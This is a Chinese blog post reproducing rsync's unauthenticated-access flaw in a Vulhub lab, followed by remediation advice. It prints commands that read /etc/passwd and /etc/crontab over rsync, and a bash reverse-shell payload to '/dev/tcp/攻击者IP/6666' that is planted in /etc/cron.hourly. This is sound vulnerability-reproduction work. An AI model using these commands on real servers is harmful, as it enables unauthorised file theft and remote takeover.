Rsync未授权访问漏洞复现
0x00 漏洞简介
Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件,默认运行在873端口。如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
0x01 环境启动
cd /root/vulhub-master/rsync/common
docker-compose build
docker-compose up -d
0x03 漏洞复现
环境启动后,我们可以使用在线端口扫描工具查看其873端口是否开放 (www.matools.com/port)
使用rsync命令访问
rsync rsync://IP:873/
列出src模块中的文件
我们可以下载Linux根目录下的任意文件
rsync -av rsync://IP:873/src/etc/passwd ./
cat passwd
上传文件到定时任务反弹shell
1. 查看crontab配置文件
rsync rsync://IP:873/src/etc/crontab
2. 下载远程文件到本地
rsync -av rsync://IP:873/src/etc/crontab .crontab
cat .crontab
其中 17 * * * * root cd / && run-parts --report /etc/cron.hourly 表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令
3. 写入shell到cron任务
创建shell.sh文件写入以下内容并赋予其执行权限:
➜ ~ cat > shell
#!/bin/bash
/bin/bash -i >& /dev/tcp/攻击者IP/6666 0>&1
➜ ~ chmod 777 shell
将shell文件上传至/etc/cron.hourly
nc监听6666端口
0x04 修复建议
- 及时更新和维护软件: 确保及时更新 rsync 到最新版本,因为新版本通常会修复已知的安全漏洞。同时,定期检查系统中安装的软件和服务,及时应用补丁和更新,以确保系统的安全性。
- 配置访问控制: 在 rsync 的配置文件中(通常是
/etc/rsyncd.conf
),确保正确配置了访问控制,限制只有授权用户可以访问 rsync 服务。你可以使用hosts allow
和hosts deny
指令来控制访问。只允许授权用户或特定 IP 地址范围访问 rsync 服务,拒绝其他所有请求。 - 使用认证和加密: 启用 rsync 服务的认证和加密功能,以确保通信安全。你可以使用 rsync 的
auth users
选项来指定允许访问 rsync 服务的用户列表,并使用 SSL/TLS 或 SSH 等安全协议进行通信加密。
分类:
漏洞复现
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~